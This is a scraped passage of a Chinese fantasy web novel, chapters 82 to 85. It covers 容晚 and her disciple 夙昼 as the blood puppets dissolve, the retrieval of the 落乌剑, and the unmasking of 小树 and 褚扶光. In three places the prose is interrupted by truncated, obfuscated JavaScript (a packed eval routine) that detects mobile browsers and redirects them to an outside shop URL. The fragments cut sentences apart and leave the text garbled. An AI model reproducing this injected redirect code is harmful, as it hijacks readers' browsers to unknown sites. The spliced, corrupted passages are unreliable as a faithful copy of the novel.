可那“诸天神佛”层层压制,白火层出不穷,繁星般砸落在血色结界上,大半符文逆转,血色倒逆,重新亮出白色的光。 那道白光不同于容晚的保护阵,以势不可挡的速度冲向所有傀灵,甚至还不曾靠近时,傀灵随风而散。 “不!”夙昼绝不允许这样的事发生。方才容晚屏蔽自身的痛,他便感受不到身体之痛,反之亦然。 白色焰火遍地燃烧,血傀哀泣,黑傀嘶嚎,亲人深受剧痛,虚相的血色渐淡,血灵随时要消散。 “师父,带他们一起走,求您。”夙昼歉疚地笑了,语气宛如濒死的告别。他总是在这样的时候喊她师父、称她为您。 浓郁的血灵喷出,他捂着心口倒在容晚身上,那颗被抓出来的心——一颗深红色的血灵珠绽放夺目红光。 容晚茫然地看他一眼,心痛到难以呼吸,剖心之痛刺得她眼前一片空白。 再抬眼时,透过模糊的光,她看见珠内血灵四散,涌向血傀。但—— 血傀虚相唯恐避之不及,扑上容晚所设的结界,化为飞灰,亦或一道符文。 又是一场名为残碎血灵的暴雪。 82. 方生方死 “阿昼!”容晚感受到他体内的灵力渐渐虚无,心口的疼痛压得她身形一晃,跪在地上。 血傀虚相视死如归,纷纷逃离着血灵珠的吸引。 “为什么?”夙昼捂着心口,血染衣衫,怔怔问:“你们为什么不留下?” 血傀战力不如黑傀,他们同黑傀两相撕扯,忍着虚相覆灭的痛楚,一起齐齐撞向结界上银白的光芒,同归于尽。 繁复阵印一层层落下,容晚盯着云层之上的众人,抬起一手,冷冷睨过众人。 云彩消散,天幕清空,他们所立之地沦为阵眼,一处处亮起的光点汇聚成海。 感受到体内的灵力流失,云层上的仙魔妖怒号着,骂道:“容晚,你用禁阵吞噬我等灵力,必必遭天谴!” “一群道貌岸然的老家伙。”容晚降下阵印,重重守护血傀。银色的光束如星般划过,以蜿蜒的轨迹束缚黑傀。 局势全然翻转,容晚踏过层层银光,脚踩黑傀雾气,扶起摔落在地的夙昼。 玄色衣衫被血湿染,浸得容晚浅黄衣裙一红。浓重的血腥气侵入,容晚轻轻抚着他冰冷的面颊,微弱呼吸自他唇间溢出,而他目光呆滞地望向眼前一切。 黑色雾气中,血傀虚相渐渐黯淡,红光被黑雾包裹、缠绕,夙昼压抑地呼吸着,“为什么?为什么?” 不该如此,怎会如此。层层阵印并未出错云层上的众人亦不再是阻碍,他们的灵力汇聚成海,足以支撑阵印。除非……除非是血傀自绝生机。 莫名的恐惧使容晚言语尽失,她一遍遍检查阵印,布下一道道转圜生机的符文, 一只小手搭上夙昼的肩膀,她血色的虚相穿过夙昼,什么也碰不到。 眼前的红光,让夙昼抬起眸。是一直被护在他身后的眠眠。她张了张口,什么也没说出来。 我走了。眠眠打出手语,淡淡地笑。哥哥,大家都想走的。 “不……”夙昼泣不成声,他摇头,瞬间失去所有的力气,倒在容晚怀里。 心中痛意使他扯不出一个温和或是眷恋的笑,眼泪成河,他随手拭去,目光放在眠眠的脸上。 哥哥,不痛。眠眠手语。 那一天你护在我身上,我感觉不到被冷铁穿身的痛。哥哥,再见。 虚相环抱夙昼,眠眠的身影穿过容晚的身形,同她四目相对时,扬起唇形,淡淡说:“谢谢。” 没有声音,容晚通过唇形读懂了。她见过一次眠眠。 年少的夙昼偷着带妹妹找她,被父亲发现,挨了一顿打,十五天才下床。后来她见过她的尸身,为他们下过一场暴雪。 “对不起。”是对眠眠、对夙昼。容晚拥紧夙昼,灵力源泉般涌入他的身体。他张了张手,终是没能留住眠眠。 小姑娘的虚相是淡淡的红光,强忍着未曾回头,身影散在风里。 黑雾和血灵交织,血灵珠脱离夙昼的控制,朝夙昼飞来。 猛烈的心痛自心口传来,容晚抱紧夙昼,声音尽可能地平和,“阿昼,阿昼,我在。” “啊——”低低的呜咽声传出,他咬着唇,撕心裂肺的吼声被堵在喉咙里。他喊不出,叫不出,颤抖地缩在容晚怀里。 狂风卷起乌云,雪肆意而下。 红与黑纠缠,血灵碎碎扬扬地落了满地,什么也不剩。 光雾散去,天光大亮,一切似乎从未发生过。夙昼满面泪痕地跪在地上,他跪在碎石之上,丝毫意识不到膝盖的痛楚。 四下里没有九方莲的身影,容晚垂下眼睫,抚着夙昼的肩膀,轻声说:“黑水湍流正在涨潮,恐要漫向人间。亦或者你在此处等我,如何?” 肩上落雪的夙昼跪着不曾动作,久久,他在雪落千山时抬眼,“师父,别丢下我。我只有您了。” 当年隐藏在夙州的传送阵印,陈年未启。穿过云层,一直向上,是困阵的最外层阵印。 墨麒踩着阵印符文,似乎有些烫脚。两个少年扒着他的鳞片,摇摇欲坠。 “大小姐!公子!”褚华秋遥遥招着手。 “公子受伤了?”褚扶光关切道,他拍拍小树,小树满脸无奈地跳到阵印上,朝容晚走去。 “大小姐,他这又是怎么了?”小树指着夙昼,去摸他的灵脉。夙昼甚是抗拒的,容晚按着他手腕叫他听话。 “嗯……死不了。”小树飞快地撒开手,在容晚的外裳上擦了擦手。 真是小孩子气。容晚无奈一笑,在夙昼怔然的目光里,朝他伸出手,“牵好。” 跳上墨麒脑袋上时,容晚拍了拍兽头,“走。” 穿过缭绕云雾,容晚眯着眼睛不满道:“墨麒,你走错了。” “嗷呜——”墨麒吼了一声,意味不明。 “错?那我原本要去哪里?”褚扶光面色一惊。 “有大小姐在,你怕什么?”褚华秋心大,“去哪儿都行。” “想家了?”容晚拍了下兽头,“怎么不先去上因?” 墨麒摇摇头,嗷呜了一声似是说不。 傀地结界可通三界,除非是上因结界不通,亦或上因在界内又设下结界,否则他们不会通过阵印来到落乌。 这又何尝不是一种指引。那个藏起来的幕后人指引着他们,从灵洞到傀地,再到落乌。 似乎一件件事都在顺从那个人的心意,而一切的目的似乎并不是再见容晚,而是借她的手,去做那个人做不到的事。 是九方莲?他逼着她全灭傀灵,究竟是为了什么?而阿弥曾经所说的归于本位又是什么? “大小姐!大小姐,你快看!”褚华秋兴奋地声音想起来。 容晚垂眸落下眸光,入目是灯火长明的城池,嘈杂人生在空中也能听见。 皎月当空,巨大的麒麟兽擦过月亮,一时间天色黯淡,显得灯火璀璨。 “天狗!天狗!”有小儿惊呼着扯着长辈去看。 年岁久长的魔王抬起头,好似看见那位戮君的麒麟兽。眼睛一眨,月光洒下来,哪还有巨兽的身形。 街道上的汹涌人潮里挤入几道身影。寻常小兽模样的墨麒撒腿狂奔,褚华秋追着他横冲直撞,冲着路人喊道:“让让,对不住!” 看见褚扶光的视线,长久地停留在街边的摊位上,那里放着许多枚晶莹剔透的晶玉,容晚问:“想要?去选,我送你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168261|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话落,夙昼已然挑起了晶玉,他拿起一枚水滴形的血色晶玉,望着容晚,“师父,我想要这个。” 落乌依然依靠魔晶来买卖,容晚尴尬地笑了笑,“阿昼,我没有魔晶,从前的都没带过来。再说,我只能凝灵玉。” 肉眼可见地,夙昼淡淡抽了下嘴角,掌心微动,几颗红色的魔晶出现,他搁在摊位上一颗,拿起那颗血色水滴形的晶玉,站在容晚身侧,声音飘飘地落下来,“师父送人礼物,怎么就成我出钱了?” 听到这话,褚扶光颤颤地不敢选,他年轻的脸涨红,在秀气之外更添可爱。 “别管他,你喜欢哪一个?”容晚见他目光落在其中一枚浅金色的方形晶玉上时,伸手替他拿起来。 “客官,这两枚是一对,不如一起拿了?”摊贩是个年事已高的老者,白发白衣,短衫极简,却干干净净。 另一枚是圆形,亦是浅金色。容晚问褚扶光,“你和小华秋一人一块,好不好?” 见小孩点头,容晚拿起那两枚晶玉,交给褚扶光。又选了一颗绿色的送给小树,至于墨麒嘛,容晚选了一块锁形的金色晶玉。 包起来所有的礼物后,容晚揪着夙昼的袖口往前走,跟在左看右看的小孩身后。 凡是小孩依依不舍摸过的东西,容晚挠一下夙昼的掌心,手中就会出现一枚魔晶,然后她大大方方地买下五份。 “我也有?”夙昼问。 “谁说给你的?”容晚往前望去,看不到褚华秋的身影,担心道:“阿昼,小华秋不会跑丢了吧?” “他身边可有一只麒麟,能丢到哪去?”夙昼扫视着街道人潮,同容晚说:“这里似乎只有魔,恐怕我们的气息已经引人注意了。” 容晚心口一紧,指下捏诀去寻墨麒,一如落乌,他的气息淹没在滔天的魔气中,容晚探查不到。 早知道种一个传送印了。 而小树身上的传送印和灵径也被洗得干干净净。 嘈杂的声音灌入容晚的灵识,她忍着烦躁去寻那一道特殊的、属于人的气息。 而褚扶光在意识到自己过分得到落乌众魔的关注时,颤栗着躲在容晚身侧。 “劳烦阿昼掩藏一下小扶光的气息。”容晚在寻找褚华秋,而夙昼作为三灵混体,他能更好地帮助两个小孩隐藏气息。 一颗红色的小珠塞进褚扶光嘴里,他挣扎了下,可珠子像有生命一样,爬进他的喉咙里,缩在心口。他拍胸呕道:“呕——” 好可怕。但是,他信任大小姐,所以这个冷冰冰的怪人,应该是个好人吧。褚扶光心道。 容晚沿着一丝人息往前走,她走得极快,夙昼拎着褚扶光的衣领,几乎是拖着他走。 在一处人声鼎沸的酒楼前,容晚停住,她听见门口层层包围的人群之中,有人惊呼道:“怎么年纪轻轻的就死了?” 另有人说道:“他是人,落乌怎么可能有人呢?” 听见这话,褚扶光泪如雨下,而夙昼死死捂住他的嘴,不让一丝哭声传出去。 不该如此,目光迟迟不敢落入人群中,她忽然抬眸,望向前方三层屋檐上的一道身影,眸中杀意显现。 83. 方生方死 夙昼再一次回到这里,他拿到血灵珠的地方。阳光落在他侧脸上,渡了一层浮金。 昏暗的光线里,容晚只能望见他眼中似有一小簇星火,像天火坠在夜里,烧了漫天的云。 “阿昼,不要进去。”不好的预感陡然升起,容晚抓住他的手臂,“不管里面有什么,都不要去。” “不……”夙昼定定看着墓道深处的黑暗,那颗代替心的血灵珠滚烫,虚无的黑暗深处,有声音在唤他的名字。 “阿昼!”容晚拉着他的衣襟让他垂头看自己,“你怎么会是这样的眼神?看着我!” 往常浅墨色的眼睛是一泊血红,其中的茫然和陌生看得容晚心惊。她捧着他的脸,“我是谁?” “你……是谁?”夙昼喃喃问。他避开她的触碰,决绝地往其中走。 “夙昼!”容晚险些拽不住他,此时的夙昼简直像入魔一般,神智不清。她咬咬牙,抓住他,灵力倾泻地灌进去,叫他的名字:“夙昼,你给我清醒过来,别发疯!” “发疯?”此时的夙昼并不好受,容晚的灵力在他灵脉里游走,急切地冲遍他体内每一处关窍。他禁不住闷哼出声,“师父,我发疯了?” “差点发疯。”容晚看见他恢复清明,心口一松,“怎么反应这样大?” “有声音在喊我。”夙昼迟疑着回答。 “什么声音?”容晚问。 “啊?没有啊,只有鸟叫声和风声。”褚扶光仔细地听了听。 “我听到了。”小树突兀地回答,“我听见了,说……他在说,容容好久不见。” “谁是容容?”褚扶光张着的嘴忽然闭上,圆圆的眼睛偏向容晚,“大小姐,你认识?” “不可能。”容晚瞥了眼夙昼,他的眼神在颤动,“他不是陨落了吗?” 当年天火之下,夙昼在她怀里消散,他的结界崩毁时,容晚并未看到褚尽欢。而他们在傀地也未曾见到褚尽欢,当年涉事的众人全都在那里。 除非容皓救了褚尽欢,绝无可能。那就是夙昼隐瞒了一些事。 “阿昼,”容晚的视线落在他脸上,他神色奇怪,竟有几分害怕。 “是他。”夙昼说:“确切的来说,是他的剑——落乌剑。” 看着容晚的眼睛渐渐沉下来,他慌乱地开口:“不,我并非被他吸引,是血灵珠,血灵珠叫嚣着想要落乌剑。我心里有个声音要落乌剑。” “真巧。”容晚淡淡说,并未有人接话。容晚摸了下墓道上的石头,一边摸一边想着当年在此发现被藤蔓捆得结结实实的衡游。 而眼前的夙昼,当时少年,得到传承的第一件事是在试探她的杀意。 “也有可能是他。”夙昼慌了神,他去牵容晚的衣袖,说:“他没死,至少在当年并没有死。我放过他了。” “什么条件?”容晚扯开自己的衣袖,夙昼绝不会大发善心,“我可不知道你对他也会慈悲?” “你。”夙昼说,“条件是你,我死之后带你离开。” “这样。”容晚推开他,往墓道里走,那样昏暗,不知其间是何风险,但她就是走进去了。对身后的两个小孩说:“跟上。” “我才不去。”小树嘴一撇,抱着一块墓碑一坐,脸上全是倔强地不去。 “那……我也在这等着?”褚扶光指指自己。 “别,我一棵小树,可保护不了你。” “那你自己小心。”褚扶光握着剑,跟在容晚身侧,手时时刻刻压在剑柄上。 “师父。”夙昼跟在她身后,“师父,我并非要隐瞒,只是不想您看到——” “看到什么?” “衡游。” 血海之间,涌动波浪,水波似如心脏跳动般。昏暗血红的光线不知哪里打过来,落在一片寂寥的墓道里。 容晚僵硬地立在原地。其间虚相识极浅的蓝色。他闭着眼眸,双手交叠放在胸前。衣衫看不清是那一身,看不出是否是他贯穿的黑色。 “师父,我——”夙昼姗姗来迟。 “是你?刨了他在人间的墓?”容晚眼中的泪意泛上来,带有几分怨恨。 怪不得,她得知此间世界为真时,在人间界遍寻不到。当年设下的灵阵,世间能打破者屈指可数。 夙昼点头。 紧接而来的一耳光,在预料之中,夙昼没躲,他盯着容晚泛红的眼睛,“解气了?要不要再打一下?” “你怎么敢这么做?”容晚质问,声音激动得上扬了一个调子。 “受人所托,忠人之事。”夙昼指指虚相手中那一柄泛着金光的落乌剑,说:“我知道掘人坟墓不是好事,所以……我当年磕了头的。” “什么?” “我只说一遍。”夙昼偏过头去,指尖频繁亮起的天道契一遍遍剐着他的灵脉,痛得他微微皱起眉头。他早已用尽全身力气将痛楚聚在血灵珠内,那珠子不会痛,容晚便不会痛。 他看着她眼里的忏悔说:“为这件事,您再替他打我多少巴掌都可以,我干的这事该打。” “为什么?”容晚问。 “哪有那么多为什么?”夙昼说。 “夙昼。”容晚眼神冷下来,声音拖长了些,“你绝不会去做这样的事,除非是衡游和你做了交易,又或者是阿意。” “当年我杀褚空月,”夙昼指尖的天道契一痛,而容晚只觉得指尖一热,似有灼烧感。 很快,夙昼攥住她的手指,源源热意传过去。而闪着光的天道契,被他藏在袖间。 “就在这里说吧。”夙昼苦笑着说:“当年战场之上,我身旁侍卫的一剑,她都没挡住。我的一剑将她从巨魔兽上打落,然后她死了。我真的觉得挺好笑的。” “这不可能。” “褚空月一生戎马,杀伐果断,军中威信比褚尽欢还高,谁能一剑杀得了她?可她就是这样死了。临死前求我为她和衡游合葬。” “她呢?”容晚并未看到褚空月,夙昼复又指了指那把剑。 “落乌剑缚灵,谁缚的?” “我。”夙昼说:“落乌剑自然是褚尽欢给的,他说那是褚空月,还说他们褚家的,身死之后以魂灵淬剑,方能永生。” “你说这么多,是要取剑?”容晚说。 “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254064|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为何要取剑?你我如今早已不需用剑了。”她挡在衡游虚相前,泪落下一滴,“我不允许你取剑。” 落乌剑一取,衡游虚相便散了。她还没来得及和他道歉,容晚咬牙说:“不能取!” “剑非取不可。”夙昼指尖的天道契又是一痛。 这次容晚觉察到了他的痛意,“这是你们当年所结的天道契?” “剑为什么非取不可。” 落乌剑中是什么,容晚不敢细想。如若真是落乌褚氏历来的剑灵,那岂不是褚尽欢、褚空月甚至曾经往上数不知多少代的褚氏全族全在这把剑中。 真是令人头痛。容晚自然会拒绝这把剑被拔出来。只要剑一拔出来,衡游虚相即散,她无法允许。 “你一定要这么做么?” “我还能如何呢?总有一个选择要比另一个选择更重要,总有一个人于我而言重过所有人,那还有什么是重要的?”夙昼语气是平静的。 “你要取剑,先胜过我。” “我不想和你打架。” “那就不要取剑。我并不觉得你有多大的必要性一定要取这把剑。”容晚还未动,夙昼已然抬手去抢那把剑。 正要出手反击时,褚扶光举着剑不知该帮谁,忽然心念一动,趁着两人大打出手,将自己的剑随手一扔,猛然伸手抓住落乌剑。 “哇哦,落乌剑。”褚扶光似乎被剑锋吸住,“啊,大小姐救命!” 容晚分出眸光,指尖一弯,褚扶光带着落乌剑被她勾过来,少年砰得一声落在地上,无辜地望向她。 少年身后是衡游渐渐破碎的虚相,细细光点随风落在水波里,她蹲跪在那,捧起一波水。 流水顺着指缝流逝,她哽咽着望着此间那些淡淡的虚相,“对不起,对不起……” 剑光落过来时,夙昼收了手,容晚掌间的阵印散了,她脚步僵硬地朝褚扶光走过去,视线定定地落在褚扶光身上。 “你究竟是谁?”夙昼揪住褚扶光的衣领,少年的圆眼睛闪着精明的光,他拍了拍夙昼的手,“公子,松手。” “你怎么敢碰那把剑?落乌剑的禁制为何不伤你?”容晚质问着,神色近乎于审判的神明般冷肃。 褚扶光将剑递给夙昼,“公子,你不是要剑吗?” 容晚看到衡游的虚相消散,化为虚无。这些年,她从未用过剑,如今手中浅浅金色的长剑幻出形貌。 “上因剑?”夙昼勾起唇角,“怎么?师父又要对我出剑?” “褚扶光,我在问你。”容晚回避夙昼的问题,盯着这个外表茫然,极具欺骗性的少年。 少年扬起一抹天真无邪的笑,“大小姐你在说什么呀?” 容晚强势地拖着他,褚扶光摔坐在地,不明所以。她掐着少年下颌,望见那双黝黑的眼睛里,是轻佻和笑意。 “是你?”容晚想到那个以褚为姓的君首,他自然碰得落乌剑。 “褚尽欢?”容晚盯着少年,又垂眸望了一眼落乌剑,将剑从他的手里夺过来,“上一次你没救他,我不怪你。这一次,你散他虚相,我们要好好算一算了。” 84. 方生方死 “大小姐这是说什么?我听不懂。”褚扶光摇摇头,说出惊天秘密:“这本就是我家的剑。” “你家的?”容晚不解道。 “是啊,我家祖上,姓了几千年的褚,宗祠牌位里的第一个就是这把剑。不过是把石头做的。”褚扶光答道。 褚氏历来属于落乌,为何后人们散于人间。而那一把石剑,和子子孙孙的后代,是否能证明褚尽欢当年未死之事。容晚并不知道答案。 褚扶光见她陷入深思,开解道:“大小姐,虚相为虚,不要自己困住了自己。我师父说,因果有伦常,不能强留不留之人。” “你怎么知道他是不留之人呢?”容晚转念想到,当年衡游故去之日,灵弦草漫山遍野,衡游也不现身相见。那是他在说不留。 今日毫无征兆,这个小小的年方十六的少年,戳穿容晚自以为的谎言,她总以为,衡游是愿意留下的,为了阿弥,或者是别的什么。 “我……”褚扶光忽然捂住嘴巴,“我答应了不能说。” “你答应了谁?”容晚忽然想哭,泪意泛上来吓了褚扶光一跳。他想为她拭泪,在夙昼的冷然注视下把手缩回了袖子里。 褚扶光被她的泪意打动,犹豫着说出口,“是小树。” 容晚心口狠狠一颤。是他? “他怎么说的?”容晚忍住奔出去、揪住外面那颗小树摇晃的冲动。 “他说我进来会看到一把剑,他叫我拔剑,破虚妄。他说你们都拔不出来。”褚扶光颤抖着说,他不懂大小姐的哭中带笑,也不懂她浑身颤抖的激动。 “他用救你的恩情,请求你这样做?”容晚问。 “是。” “他还说不要告诉我?”见褚扶光点头,容晚眼睫眨动了又眨,泪珠顺着脸庞滚落。 “别哭。” 温热的指尖擦过眼下,夙昼拥着她。容晚忍不住埋在他怀里恸哭,眼睛苦涩得睁不开、望不见。 “我要怎么办?我要怎样装得没认出他?”容晚哭声渐息,“他为什么不认我?” 衡游还在怨她吗?容晚想并不是。他或许是不想打扰她的一生。或许是不想他的一生被打扰。如果这样……如果是这样。 “阿昼,我再也不打扰他的一生。我们送他回人间,把扶光一起送回去。”容晚定定地说,她想幼鸟眷恋巢穴般攥住夙昼的手臂,“随便找个什么由头,让衡游走!让他离开这!” “好……”夙昼早已答过无数遍好,而容晚一句也没听清,耳中嗡鸣声不息,她倚在他怀中,连抬手的力气也不再有。 “阿昼,我要怎么赶他走。”容晚喃喃道:“要怎样让他走……” 耳中能听清风声时,水滴砸落的声音也清晰可见。容晚格外地平静,她拭去脸上的泪水,站起身,从褚扶光手里拿过落乌,仿佛刚才什么也没有发生过。 唯有那一双澄澈的眼睛满是血丝。 “大小姐,我会说我想回家了。”褚扶光说,“我会请求小树陪我回灵洞,如果他愿意……” “他不会愿意。”容晚拿着落乌剑往外走,“出去以后,方才种种就当做我全都不知道。” 像是在告诉自己,强制地将那些久别重逢的欣喜压下,连不敢质问、不能相认的委屈也藏起来。 一转身,一抬头,还是无坚不摧的容晚。 树林的光影层层落在墓道口,枯死的藤蔓纠缠着侵占入口。容晚踩过枯枝,吱呀作响的声音惊得群鸦四起。 他坐在一块凸起的岩石上,衣衫同岩石同色,身影也模糊在昏暗的墓林里。 几束穿过枝桠的日光打下来,落在他脸上、肩上,能望得见侧脸的稚嫩。 仔细看来,小树和阿弥很像,眉眼骨相很是相近。不以少年形态亦或成.人样貌见她,是他选择不认她的结果。否则,容晚怎会认不出多年挚友。 容晚站在石道口的阴影里,同日光映照处只有一线之隔。 “师父,我不好看吗?”夙昼凑脸到容晚眼前,委屈道:“都不这样看我。” “因为亏欠太多,相识太久。”容晚推开他,觉得自己有必要因为散虚相这件事同他生一下气,冷冷说:“而你不一样。” “大小姐,大小姐。”褚扶光雀跃地跟在她身后,声音太过高昂,惊得那颗小睡着的小树陡然睁开双眼。 这一回,容晚看清楚了,先是一如往昔的锐利和成熟,下一瞬瞳仁变圆,蒙上了雾,显得幼态可爱。 “大小姐?”小树揉了揉眼睛,眸光在落乌剑上飞快地划过一瞬。 “嗯。”容晚憋住喉间的哽咽,飞快地略过他,试图用风吹散眼里的雾气。 夙昼跟着她,不明所以地望了小树一眼。他丝毫不理解衡游这种装不认识的游戏,惹得容晚不开心。 两人身后,一树一少年窃窃私语。 “大小姐怎么眼睛那么红?” “呃,眼睛进东西了。”褚扶光斟酌字句,扯了个合理的慌。 “血灵入眼?”小树惊讶问。 “啊?”褚扶光还没反应过来,小树扯着一张冷脸追上容晚,倒着拦在她身前,定定地望着容晚的红眼睛。 “血灵入眼?”小树递出一瓶药,忽然说道:“还是哭了?” “关你什么事,小医仙。”容晚语气是冷的,透着疏离。 “啧,脾气真大。”小树一哼,抱着双臂,身形一幻缩回灵境中。 光芒散去的刹那,容晚眼中蒙上一层浅浅的雾气。 “别哭。”夙昼握着她冰凉的指尖。他垂眸吻上她的额间,“我会心疼。” 褚扶光恨不得原地消失,捂着双眼,蹦蹦跳跳地走到两人身前,用那柄举世无双的灵剑砍着碑林里的野草数枝。 “他人呢?”容晚抬手在灵境上设下一层禁制,“落乌剑中,你不是说听见了褚尽欢的声音吗?他呢?” 见夙昼无甚反应,落乌剑只是泛着淡淡的金光。 “褚尽欢!出来。”容晚挥出一剑。依旧毫无反应的落乌剑被她随手一掷,落在草木深处。 容晚转身就走,在听见一声剑鸣时回头,一道纷白的灵力砸过去,清脆的冷铁声刺耳。 那浅浅的金光缓缓吐出一个字:“艹!” “不打算见一面?老朋友。”容晚喊得咬牙切齿。 金光一散, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262570|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再没有声音。一道道的灵力砸过去,褚尽欢没出来,反倒惊着几位落乌褚氏的老前辈。容晚不得不许诺,她再也不会对这把剑动手动脚。 再一次见到墨麒,是在妖精赌场的笼子里。风光无限、真身可上云天的麒麟巨兽缩在一只关鸟的金笼子里。 那笼子拎在一只雪白的手里。满场子晃荡。 容晚的视线盯着墨麒,以致于撞上三眼妖精时,腰间狠狠挨了一爪。 夙昼的眼神瞬间染上厉色,抓起那只矮小的妖精质问道:“你好大的胆子?” 与夙昼四目相对的妖精忽然一怔,撒开腿狂奔,四处叫喊道:“是他!咒宿!咒宿回来了!” 容晚捂着腰腹,眉眼微皱,这只妖精好像就是当年赔给她几百万灵玉的那只。 三眼妖精寿命极长,满口谎言,唯以利益为重。这一虚晃,那只金笼子和手的主人早已不知去处。 而妖精赌场里如同夏日烟火被点燃,沸腾着、喧嚣着狂欢。 大半妖魔跪地示礼,“拜见主上!恭迎主上重回落乌!” 另一小半早在三眼妖精大喊时,便如流水一般逃出赌场。夙昼归来的消息在整个落乌界不胫而走。 夙昼沉默着,站在赌场的一个偏僻角落里,而妖魔们将他视为明主,宛如朝望烈日般向君主俯首。 他做了三界共主。在那一次涅槃重生以后。在霜元一百九十九年以后,二百零八年以前。 这是一段容晚未知,而夙昼闭口不谈的时光。 寻到正扒着自己赢下的金子,乐得嘿嘿大笑的褚扶光,容晚牵着他的衣袖,往门外走。 夙昼瞥见素色衣裙转过回廊,随意挥手示意,追着容晚没入了街道中的人潮。 “师父,我没想隐瞒。”夙昼闭了下眼睛,觉得心口赌得厉害,她在介怀。 “我没想知道这些。”见他不信,容晚郑重地补上,“真的。” 小扶光夹在两人中间好是为难,追上叫卖糖人的老者,买了两个糖人塞给他们。 “多谢小扶光。”容晚接过糖人,显然是有目的般地往某个地方走。 傍晚的雾渐重,街边灯火一晃,一溜烟的街灯扑簇簇地全亮起来。容晚的眉眼被光遮住,素色衣裙层层叠叠地在人群中穿行。 “大小姐,我们去、去哪儿?”褚扶光弱弱问。 “你的家。他的城。”容晚道。 褚扶光指指自己,又指指夙昼,大惊失色。 落乌王城守卫一如从前不堪一击,一行人跨过结界时,乌卫仅仅是抬了下眼睛,什么也没发觉。以传送阵直达藏经阁,亦是无人发觉。 “大小姐,这写的什么?”褚扶光望见那一株极丑的小草,旁边摆了个牌子,写着几个繁复的大字。 “极恶,食人。”容晚道。 褚扶光猛地缩回手。 “藏经阁一如往昔,一点也没变。”容晚推开那扇落满尘灰的大门,不自觉咳嗽了声。 一进门,便瞧见好大一份惊喜。 藏经殿角落里,那盏九转十二纹龙灯架上,粘着一个好久未见的人。 手里拿着的是她此行必得之物。 85. 方生方死 烛火映照间,九方莲垂直眼眸说,“上仙真是好算计,连我今日来王城都知道得清清楚楚。” “哦?”容晚自如地在软塌上落座,不慌不慢地煮起春茶,茶香四溢,她招手唤夙昼和小扶光来饮茶。 “容晚。”在九方莲咬牙切齿地喊她第八百次时,容晚淡淡抬起眸,凝视着九方莲,他如雪白的长发堆积,大红衣裳拖曳在地,白如骷髅的手按在灯架上的一处灯烛,烛火烫得他手指发焦。 “难道不是你在等我吗?九方莲。”容晚起身去转他身旁的灯烛,依着特定的位置转过三处灯烛。 金光符文如虹迸发,似如星海般拖着九方莲坠入光芒深处。他落得有些慢,容晚轻飘飘地踹了一脚。 光雾深处传来痛呼声。 “活该。”容晚俯身拎起装有墨麒的笼子,冲着夙昼的方向微微偏头,“走了。” 夙昼进来的第一眼,望见容晚一脚踹在九方莲背上,眸色不悲不喜,只听她说:“我严重怀疑你明修栈道暗度陈仓。” “说得这么严重?”九方莲皮笑肉不笑。 “这藏经殿下有一间石室,连通上因与落乌。除了褚尽欢,这世上再没人知道。”容晚收回脚,“你是他的人。” 这一句指控太过肯定。九方莲爬起来,“我说上仙这些年脾气渐好,连我干了那么多事都不杀我,莫不是对我家君首尚有情分在?” “我看你是脾气渐差,这么多年过去,脸面都不要了。”容晚记得他从前分明是端方且有几分憨厚,现在可真是嬉皮笑脸,每个正形,所作所为引人生厌。 “你再说废话,我就杀了你。”夙昼抽出容晚手中的落乌剑,横在他颈侧。 “这么快就找到落乌剑了,太好了,计划又要提前了!”九方莲想同褚扶光勾肩搭背,手却被剑刃狠狠一打,“小君首,你说是不是?” 几人齐齐震惊回头。 褚扶光急于撇清关系,摇头摆手,“我不是、不是什么君首。” “这么紧张做什么,他拔了落乌剑,自然是下一任君首喽。”九方莲搂住褚扶光说:“开不开心?” “救命。”褚扶光抓着夙昼的衣袖,同九方莲躲得远远的。 他们在一间特定的石室前停下来,容晚盯着九方莲:“难不成还要我亲手来开?” 九方莲憋住笑,“我来,我来,我当然是忠于您。” 夙昼锐评:“有病。” 石室外,墙壁上腐朽的砖墙变得崭新,墙皮层层脱落,隐藏其中的阵印渐渐现出痕迹。 “这一道阵印可真就指望您了。”九方莲后退半步。 “我总是禁不住想,褚尽欢那样多疑的人,居然这样信任你,连这里的机关都告诉你。”容晚的剑锋贴在他脸上,划过一道极浅的血痕。 九方莲讪笑,不答。 忽然,夙昼问:“我们这便要去上因了?” “嗯。容皓是个大麻烦。”容晚只想速战速决,否则,身在上因的容皓就像一把悬于咽喉前的利剑,事时时叫他们不能安心。 夙昼递出一道传音。落乌时任君首乃咒宿旧部,他很快传唤来数众乌卫,亲自驻守藏经殿。 他们都在担心此间结界一开,另一侧即是上因大军,他们必要前去上因,但绝不能大开结界。 或许只是容晚多心。但如今三界分立的阵印,主阵眼是当年容晚在夙州所设灵阵,那盛大结界极有可能因他们这一道小小的裂缝破碎。 